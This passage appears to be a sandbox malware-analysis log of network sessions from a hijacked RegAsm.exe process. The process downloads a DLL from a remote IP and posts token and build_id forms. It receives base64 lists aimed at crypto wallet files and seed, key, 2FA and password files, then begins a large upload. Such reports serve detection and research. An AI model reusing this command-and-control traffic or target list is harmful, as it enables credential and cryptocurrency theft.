2024-09-21 11:35:15 UTC	16384	IN	Data Raw: d0 81 c9 00 08 00 00 83 e2 18 74 1c 83 fa 08 74 0f 83 fa 10 74 15 b8 ff ff 00 00 e9 f7 01 00 00 81 c9 80 00 00 00 eb 03 83 c9 40 83 e0 06 2b c7 0f 84 df 01 00 00 2b c6 74 1e 2b c6 74 0f 2b c6 75 d4 81 c9 00 04 00 00 e9 c8 01 00 00 81 c9 00 01 00 00 e9 bd 01 00 00 81 c9 00 02 00 00 e9 b2 01 00 00 2b c6 75 af 8d 51 01 89 15 90 f2 00 10 8a 02 3c 30 7c 2a 3c 39 7f 26 0f be c0 83 c2 d1 03 c2 a3 90 f2 00 10 e8 8c fe ff ff 0d 00 00 01 00 e9 81 01 00 00 b8 fe ff 00 00 e9 77 01 00 00 b9 ff ff 00 00 e9 dc 00 00 00 83 f8 2f 0f 8e 63 ff ff ff 8b f2 83 f8 35 7e 62 83 f8 41 0f 85 53 ff ff ff 81 c9 00 90 00 00 e9 b8 00 00 00 b9 fe ff 00 00 4a e9 ad 00 00 00 81 c9 00 98 00 00 e9 a2 00 00 00 83 e8 43 0f 84 94 00 00 00 83 e8 01 0f 84 83 00 00 00 83 e8 01 74 76 83 e8 0d 0f Data Ascii: ttt@++t+t+u+uQ<0\|*<9&w/c5~bASJCtv

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.9	49781	116.203.165.127	443	5752	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-21 11:35:16 UTC	196	OUT	GET /nss3.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 116.203.165.127 Connection: Keep-Alive Cache-Control: no-cache
2024-09-21 11:35:17 UTC	263	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Sep 2024 11:35:17 GMT Content-Type: application/octet-stream Content-Length: 2046288 Connection: close Last-Modified: Saturday, 21-Sep-2024 11:35:17 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-09-21 11:35:17 UTC	16121	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@
2024-09-21 11:35:17 UTC	16384	IN	Data Raw: 1f 01 f2 6b d2 64 89 c7 29 d7 c1 fb 15 01 f3 89 c2 69 f3 90 01 00 00 29 f0 83 e2 03 66 85 d2 0f 94 c2 66 85 ff 0f 95 c6 20 d6 66 85 c0 0f 94 c0 08 f0 0f b6 c0 8d 04 40 8b 55 f0 0f be 84 82 20 7c 1a 10 89 41 10 8a 41 1a fe c8 0f b6 c0 ba 06 00 00 00 0f 49 d0 88 51 1a e9 f7 fe ff ff 83 c2 e8 89 51 0c 8b 41 10 89 45 f0 8b 71 14 40 89 41 10 66 ff 41 1c 0f b7 41 18 a8 03 0f 94 c3 69 f8 29 5c 00 00 8d 97 1c 05 00 00 66 c1 ca 02 0f b7 d2 81 fa 8f 02 00 00 0f 93 c2 20 da 81 c7 10 05 00 00 66 c1 cf 04 0f b7 ff 81 ff a3 00 00 00 0f 92 c6 08 d6 0f b6 d6 8d 14 52 0f be 94 96 20 7c 1a 10 39 55 f0 7c 26 89 f7 c7 41 10 01 00 00 00 8d 56 01 89 51 14 83 fe 0b 7c 12 c7 41 14 00 00 00 00 40 66 89 41 18 66 c7 41 1c 00 00 8a 41 1a fe c0 31 d2 3c 07 0f b6 c0 0f 4d c2 88 41 1a Data Ascii: kd)i)ff f@U \|AAIQQAEq@AfAAi)\f fR \|9U\|&AVQ\|A@fAfAA1<MA
2024-09-21 11:35:17 UTC	16384	IN	Data Raw: 52 f4 1b 10 51 e8 3d b8 06 00 83 c4 0c 66 83 7f 06 00 74 69 31 db 8b 44 9f 14 be 48 01 1d 10 85 c0 74 02 8b 30 68 d3 fe 1b 10 56 e8 f7 5b 19 00 83 c4 08 85 c0 b8 79 64 1c 10 0f 45 c6 8b 4f 10 0f b6 0c 19 f6 c1 02 ba 98 dc 1c 10 be 48 01 1d 10 0f 44 d6 f6 c1 01 b9 b1 de 1c 10 0f 44 ce 50 52 51 68 7f a0 1b 10 8d 44 24 60 50 e8 d6 b7 06 00 83 c4 14 43 0f b7 47 06 39 c3 72 99 8b 44 24 60 8d 48 01 3b 4c 24 58 0f 83 b7 03 00 00 89 4c 24 60 8b 4c 24 54 c6 04 01 29 eb 25 8b 44 24 04 8b 4c 24 08 8b 44 81 10 0f be 08 8d 54 24 50 51 ff 70 20 68 2c e2 1c 10 52 e8 89 b7 06 00 83 c4 10 f6 44 24 64 07 0f 85 4b 03 00 00 8b 44 24 54 85 c0 74 21 8b 4c 24 60 c6 04 08 00 83 7c 24 5c 00 74 12 f6 44 24 65 04 75 0b 8d 4c 24 50 e8 d4 68 06 00 eb 04 8b 44 24 54 89 44 24 18 8b 45 Data Ascii: RQ=fti1DHt0hV[ydEOHDDPRQhD$`PCG9rD$`H;L$XL$`L$T)%D$L$DT$PQp h,RD$dKD$Tt!L$`\|$\tD$euL$PhD$TD$E
2024-09-21 11:35:17 UTC	16384	IN	Data Raw: 40 a1 08 11 1e 10 40 a3 08 11 1e 10 3b 05 30 11 1e 10 77 26 8b 35 38 11 1e 10 85 f6 74 15 8b 0d 78 e0 1d 10 81 f9 80 c2 12 10 75 7b 56 ff 15 68 cc 1d 10 89 f8 5e 5f 5b 5d c3 a3 30 11 1e 10 eb d3 a3 0c 11 1e 10 eb b9 89 3d 20 11 1e 10 e9 54 ff ff ff 31 ff eb dc 8b 0d 40 e0 1d 10 ff 15 00 40 1e 10 57 ff d1 83 c4 04 eb ca ff 15 00 40 1e 10 56 ff d1 83 c4 04 e9 0b ff ff ff 89 f7 c1 ff 1f 29 f1 19 f8 31 d2 39 0d e4 10 1e 10 19 c2 7d 27 c7 05 50 11 1e 10 00 00 00 00 e9 20 ff ff ff 31 ff e9 6d ff ff ff ff 15 00 40 1e 10 56 ff d1 83 c4 04 e9 7b ff ff ff c7 05 50 11 1e 10 01 00 00 00 8b 1d 38 11 1e 10 85 db 74 2e 8b 0d 78 e0 1d 10 ff 15 00 40 1e 10 53 ff d1 83 c4 04 8b 1d 38 11 1e 10 85 db 74 12 8b 0d 70 e0 1d 10 ff 15 00 40 1e 10 53 ff d1 83 c4 04 a1 4c 11 1e 10 Data Ascii: @@;0w&58txu{Vh^_[]0= T1@@W@V)19}'P 1m@V{P8t.x@S8tp@SL
2024-09-21 11:35:17 UTC	16384	IN	Data Raw: ff 8b 44 24 08 8a 40 12 e9 fc fc ff ff 8b 44 24 08 8b 70 44 8b 06 85 c0 0f 84 81 fd ff ff 8b 48 04 ff 15 00 40 1e 10 56 ff d1 83 c4 04 c7 06 00 00 00 00 e9 67 fd ff ff 8b 44 24 08 8b 70 40 8b 06 85 c0 74 2d 8b 4c 24 08 80 79 0d 00 75 11 8b 48 20 ff 15 00 40 1e 10 6a 01 56 ff d1 83 c4 08 8b 44 24 08 80 78 12 05 74 08 8b 44 24 08 c6 40 12 01 8b 4c 24 08 8a 41 0c 88 41 13 e9 13 fe ff ff 8b 44 24 08 8b 30 8b 4e 1c 85 c9 0f 84 88 fa ff ff 8b 44 24 08 8b b8 ec 00 00 00 ff 15 00 40 1e 10 6a 00 57 56 ff d1 83 c4 0c 89 44 24 0c e9 72 f6 ff ff 8b 4c 24 08 89 81 a0 00 00 00 e9 f7 f9 ff ff 8b 48 04 ff 15 00 40 1e 10 56 ff d1 83 c4 04 c7 06 00 00 00 00 e9 26 fa ff ff 31 f6 46 e9 d2 fc ff ff 31 db f6 44 24 1c 01 0f 84 40 fe ff ff 68 40 7e 1c 10 68 83 e4 00 00 68 14 dd Data Ascii: D$@D$pDH@VgD$p@t-L$yuH @jVD$xtD$@L$AAD$0ND$@jWVD$rL$H@V&1F1D$@h@~hh
2024-09-21 11:35:17 UTC	16384	IN	Data Raw: 18 89 d8 25 ff ff ff 7f 89 44 24 1c 85 f6 7e 6f 8b 7d 0c 89 54 24 04 8b 0d 30 e4 1d 10 8b 45 08 8b 40 08 89 04 24 ff 15 00 40 1e 10 8d 44 24 10 50 8d 44 24 10 50 56 57 ff 74 24 10 ff d1 85 c0 0f 84 92 00 00 00 8b 44 24 0c 85 c0 8b 54 24 04 74 42 29 c6 72 3e 01 c2 83 d3 00 89 54 24 18 89 d9 81 e1 ff ff ff 7f 89 4c 24 1c 01 c7 85 f6 7f a2 8b 44 24 24 85 c0 0f 85 92 00 00 00 31 ff 8b 4c 24 28 31 e9 e8 9d 64 13 00 89 f8 8d 65 f4 5e 5f 5b 5d c3 8b 0d 8c e2 1d 10 ff 15 00 40 1e 10 ff d1 89 c2 8b 45 08 89 50 14 83 fa 70 74 05 83 fa 27 75 3f bf 0d 00 00 00 b9 0d 00 00 00 68 ee b2 00 00 8b 45 08 ff 70 1c 68 65 8a 1c 10 e8 c4 1e 14 00 83 c4 0c eb a7 8d 4c 24 24 8d 54 24 08 e8 12 20 14 00 85 c0 0f 85 2a ff ff ff 8b 54 24 08 eb b1 bf 0a 03 00 00 b9 0a 03 00 00 68 f3 Data Ascii: %D$~o}T$0E@$@D$PD$PVWt$D$T$tB)r>T$L$D$$1L$(1de^_[]@EPpt'u?hEpheL$$T$ *T$h
2024-09-21 11:35:17 UTC	16384	IN	Data Raw: 64 8b 0c 38 e8 8e f3 ff ff 43 83 c7 30 3b 5e 68 7c ec 8b 44 24 0c 89 46 68 83 7c 24 04 01 75 72 8b 56 64 8d 1c 40 c1 e3 04 83 7c 1a 1c 00 74 4b 8b 4e 48 8b 01 85 c0 74 42 3d 58 00 1a 10 75 34 8b 86 a8 00 00 00 8b be ac 00 00 00 83 c0 04 83 d7 00 89 74 24 04 89 d6 8b 54 1a 18 0f af fa f7 e2 01 fa 52 50 51 e8 8c 45 12 00 89 f2 8b 74 24 10 83 c4 0c 8b 44 1a 18 89 46 38 31 ff 8b 4c 24 30 31 e9 e8 9f 24 13 00 89 f8 8d 65 f4 5e 5f 5b 5d c3 89 74 24 04 8b 86 e8 00 00 00 89 44 24 08 85 c0 0f 84 88 01 00 00 83 7c 24 0c 00 0f 84 ac 00 00 00 8b 44 24 04 8b 70 64 85 f6 0f 84 9d 00 00 00 8b 44 24 0c 48 8d 3c 40 c1 e7 04 8b 44 3e 14 89 44 24 0c b9 00 02 00 00 31 d2 e8 56 3e ff ff 89 44 24 18 85 c0 0f 84 ce 02 00 00 8d 04 3e 89 44 24 14 8d 04 3e 83 c0 14 89 44 24 08 8b Data Ascii: d8C0;^h\|D$Fh\|$urVd@\|tKNHtB=Xu4t$TRPQEt$DF81L$01$e^_[]t$D$\|$D$pdD$H<@D>D$1V>D$>D$>D$
2024-09-21 11:35:17 UTC	16384	IN	Data Raw: e7 00 00 00 8b 99 4c 01 00 00 85 db 0f 85 82 00 00 00 8b 99 48 01 00 00 85 db 75 6b 8b 99 44 01 00 00 85 db 75 7b ff 81 40 01 00 00 8a 5d f3 88 d8 50 e8 d0 ca 11 00 83 c4 04 89 c3 85 c0 0f 84 a7 00 00 00 57 ff 75 e4 53 e8 0f 1c 18 00 83 c4 0c c6 04 3b 00 8d 04 b6 8b 4d ec 8d 04 81 83 c0 0c 89 18 0f b6 0b 80 b9 7a f8 19 10 00 78 4a 8b 4d e8 80 b9 d0 00 00 00 02 0f 83 83 00 00 00 83 c4 10 5e 5f 5b 5d c3 8b 03 89 81 48 01 00 00 e9 50 ff ff ff 8b 03 89 81 4c 01 00 00 e9 43 ff ff ff 8b 03 89 81 44 01 00 00 e9 36 ff ff ff ff 81 3c 01 00 00 e9 73 ff ff ff 80 f9 5b 0f b6 c9 ba 5d 00 00 00 0f 45 d1 89 55 ec 31 f6 46 89 df 8a 0c 33 3a 4d ec 74 06 88 0f 46 47 eb f2 8b 4d ec 38 4c 33 01 74 2d c6 07 00 eb 84 8d 04 b6 8b 4d ec 8d 04 81 83 c0 0c c7 00 00 00 00 00 e9 6d Data Ascii: LHukDu{@]PWuS;MzxJM^_[]HPLCD6<s[]EU1F3:MtFGM8L3t-Mm
2024-09-21 11:35:17 UTC	16384	IN	Data Raw: 59 18 e8 60 50 fe ff 31 c0 39 46 24 0f 84 b8 f6 ff ff 8b 57 10 85 d2 74 09 8b 4c 24 20 e8 75 c2 ff ff 8b 7c 24 0c c7 47 10 00 00 00 00 e9 98 f6 ff ff 8b 06 89 81 44 01 00 00 e9 e3 f9 ff ff ff 81 3c 01 00 00 e9 80 fc ff ff 8b 44 24 14 80 b8 d0 00 00 00 00 0f 85 f3 fb ff ff 8b 44 24 20 8b 40 10 8b 4c 38 0c 83 79 48 00 0f 85 de fb ff ff ff 34 38 68 b4 e0 1c 10 ff 74 24 1c e8 06 09 00 00 83 c4 0c e9 c5 fb ff ff 8b 4c 24 1c e9 ae fd ff ff 8a 80 08 f7 19 10 3a 83 08 f7 19 10 0f 84 02 fa ff ff e9 c9 f9 ff ff 8b 44 24 20 80 b8 b1 00 00 00 00 0f 84 47 04 00 00 68 48 01 1d 10 ff 74 24 18 e8 5f 2a 01 00 83 c4 08 e9 33 f7 ff ff 8b 44 24 0c 80 48 1e 01 66 83 78 22 00 0f 8e a5 f5 ff ff 31 c9 b8 0e 00 00 00 8b 54 24 0c 8b 52 04 8b 74 02 f6 89 f7 c1 ef 04 83 e7 0f 83 ff Data Ascii: Y`P19F$WtL$ u\|$GD<D$D$ @L8yH48ht$L$:D$ GhHt$_*3D$Hfx"1T$Rt
2024-09-21 11:35:17 UTC	16384	IN	Data Raw: 00 00 85 c0 0f 85 34 f9 ff ff e9 a7 e8 ff ff c7 44 24 24 00 00 00 00 e9 0b f1 ff ff 8b 44 24 0c 8b 40 10 8b 40 1c 8b 4c 24 08 3b 41 3c 0f 84 95 ea ff ff 8b 7c 24 08 ff 37 68 27 f8 1c 10 ff 74 24 0c e8 e0 ea 00 00 83 c4 0c c7 44 24 24 00 00 00 00 e9 a2 f0 ff ff 68 48 e4 1b 10 8b 7c 24 08 57 e8 c1 ea 00 00 83 c4 08 be 0b 00 00 00 68 40 7e 1c 10 68 14 ce 01 00 68 40 bb 1b 10 68 78 fc 1b 10 56 e8 8f 4f 01 00 83 c4 14 89 77 0c c7 44 24 1c 00 00 00 00 e9 83 f8 ff ff 66 ba 1e 00 31 c0 85 c9 0f 85 54 f1 ff ff 31 d2 e9 5b f1 ff ff 31 ff 66 ba 28 00 be ff 0f 00 00 89 cb 31 c0 83 c2 28 89 f9 0f a4 d9 1c c1 e8 04 39 de bb 00 00 00 00 19 fb 89 cb 89 c7 0f 83 f2 f0 ff ff eb df a9 fd ff ff ff 74 65 31 f6 46 b8 ec bb 1b 10 e9 c1 fd ff ff 31 c0 e9 85 f2 ff ff c7 44 24 18 Data Ascii: 4D$$D$@@L$;A<\|$7h't$D$$hH\|$Wh@~hh@hxVOwD$f1T1[1f(1(9te1F1D$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.9	49782	116.203.165.127	443	5752	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-21 11:35:20 UTC	281	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDAEHCFHJJJJECAAFBKJ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 116.203.165.127 Content-Length: 1145 Connection: Keep-Alive Cache-Control: no-cache
2024-09-21 11:35:20 UTC	1145	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 39 31 65 34 66 32 38 61 30 64 66 38 35 38 37 32 30 63 32 65 64 34 30 38 39 35 35 34 38 63 37 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 38 30 62 65 34 35 61 31 65 62 36 34 35 34 63 61 39 31 36 66 39 32 63 33 36 65 62 66 36 37 64 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 45 48 43 46 48 4a 4a 4a 4a 45 43 41 41 46 42 4b 4a 0d 0a 43 6f 6e 74 Data Ascii: ------IDAEHCFHJJJJECAAFBKJContent-Disposition: form-data; name="token"991e4f28a0df858720c2ed40895548c7------IDAEHCFHJJJJECAAFBKJContent-Disposition: form-data; name="build_id"d80be45a1eb6454ca916f92c36ebf67d------IDAEHCFHJJJJECAAFBKJCont
2024-09-21 11:35:22 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Sep 2024 11:35:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-21 11:35:22 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.9	49784	116.203.165.127	443	5752	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-21 11:35:24 UTC	280	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGIDAAFIEHIEHJKFHCAE User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 116.203.165.127 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-09-21 11:35:24 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 39 31 65 34 66 32 38 61 30 64 66 38 35 38 37 32 30 63 32 65 64 34 30 38 39 35 35 34 38 63 37 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 38 30 62 65 34 35 61 31 65 62 36 34 35 34 63 61 39 31 36 66 39 32 63 33 36 65 62 66 36 37 64 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 0d 0a 43 6f 6e 74 Data Ascii: ------EGIDAAFIEHIEHJKFHCAEContent-Disposition: form-data; name="token"991e4f28a0df858720c2ed40895548c7------EGIDAAFIEHIEHJKFHCAEContent-Disposition: form-data; name="build_id"d80be45a1eb6454ca916f92c36ebf67d------EGIDAAFIEHIEHJKFHCAECont
2024-09-21 11:35:24 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Sep 2024 11:35:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-21 11:35:24 UTC	2228	IN	Data Raw: 38 61 38 0d 0a 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 Data Ascii: 8a8Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.9	49785	116.203.165.127	443	5752	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-21 11:35:25 UTC	280	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGIDAAFIEHIEHJKFHCAE User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 116.203.165.127 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-09-21 11:35:25 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 39 31 65 34 66 32 38 61 30 64 66 38 35 38 37 32 30 63 32 65 64 34 30 38 39 35 35 34 38 63 37 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 38 30 62 65 34 35 61 31 65 62 36 34 35 34 63 61 39 31 36 66 39 32 63 33 36 65 62 66 36 37 64 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 41 41 46 49 45 48 49 45 48 4a 4b 46 48 43 41 45 0d 0a 43 6f 6e 74 Data Ascii: ------EGIDAAFIEHIEHJKFHCAEContent-Disposition: form-data; name="token"991e4f28a0df858720c2ed40895548c7------EGIDAAFIEHIEHJKFHCAEContent-Disposition: form-data; name="build_id"d80be45a1eb6454ca916f92c36ebf67d------EGIDAAFIEHIEHJKFHCAECont
2024-09-21 11:35:26 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Sep 2024 11:35:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-21 11:35:26 UTC	1524	IN	Data Raw: 35 65 38 0d 0a 52 6d 78 68 63 32 68 38 4a 55 52 53 53 56 5a 46 58 31 4a 46 54 55 39 57 51 55 4a 4d 52 53 56 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 69 6f 73 4b 6e 4e 6c 5a 57 51 71 4c 69 6f 73 4b 6d 4a 30 59 79 6f 75 4b 69 77 71 61 32 56 35 4b 69 34 71 4c 43 6f 79 5a 6d 45 71 4c 69 6f 73 4b 6d 4e 79 65 58 42 30 62 79 6f 75 4b 69 77 71 59 32 39 70 62 69 6f 75 4b 69 77 71 63 48 4a 70 64 6d 46 30 5a 53 6f 75 4b 69 77 71 4d 6d 5a 68 4b 69 34 71 4c 43 70 68 64 58 52 6f 4b 69 34 71 4c 43 70 73 5a 57 52 6e 5a 58 49 71 4c 69 6f 73 4b 6e 52 79 5a 58 70 76 63 69 6f 75 4b 69 77 71 63 47 46 7a 63 79 6f 75 4b 69 77 71 64 32 46 73 4b 69 34 71 4c 43 70 31 63 47 4a 70 64 43 6f 75 4b 69 77 71 59 6d 4e 6c 65 43 6f 75 4b 69 77 71 59 6d 6c 30 61 47 6c 74 59 69 6f 75 4b 69 Data Ascii: 5e8Rmxhc2h8JURSSVZFX1JFTU9WQUJMRSVcfCp3YWxsZXQqLiosKnNlZWQqLiosKmJ0YyouKiwqa2V5Ki4qLCoyZmEqLiosKmNyeXB0byouKiwqY29pbiouKiwqcHJpdmF0ZSouKiwqMmZhKi4qLCphdXRoKi4qLCpsZWRnZXIqLiosKnRyZXpvciouKiwqcGFzcyouKiwqd2FsKi4qLCp1cGJpdCouKiwqYmNleCouKiwqYml0aGltYiouKi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.9	49786	116.203.165.127	443	5752	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-21 11:35:27 UTC	280	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKKEHJDHJKFIECAAKFIJ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 116.203.165.127 Content-Length: 461 Connection: Keep-Alive Cache-Control: no-cache
2024-09-21 11:35:27 UTC	461	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 39 31 65 34 66 32 38 61 30 64 66 38 35 38 37 32 30 63 32 65 64 34 30 38 39 35 35 34 38 63 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 64 38 30 62 65 34 35 61 31 65 62 36 34 35 34 63 61 39 31 36 66 39 32 63 33 36 65 62 66 36 37 64 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 0d 0a 43 6f 6e 74 Data Ascii: ------JKKEHJDHJKFIECAAKFIJContent-Disposition: form-data; name="token"991e4f28a0df858720c2ed40895548c7------JKKEHJDHJKFIECAAKFIJContent-Disposition: form-data; name="build_id"d80be45a1eb6454ca916f92c36ebf67d------JKKEHJDHJKFIECAAKFIJCont
2024-09-21 11:35:28 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 21 Sep 2024 11:35:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-21 11:35:28 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.9	49788	116.203.165.127	443	5752	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-21 11:35:30 UTC	283	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBKJKEHIJECGCBFIJEGI User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 116.203.165.127 Content-Length: 122469 Connection: Keep-Alive Cache-Control: no-cache
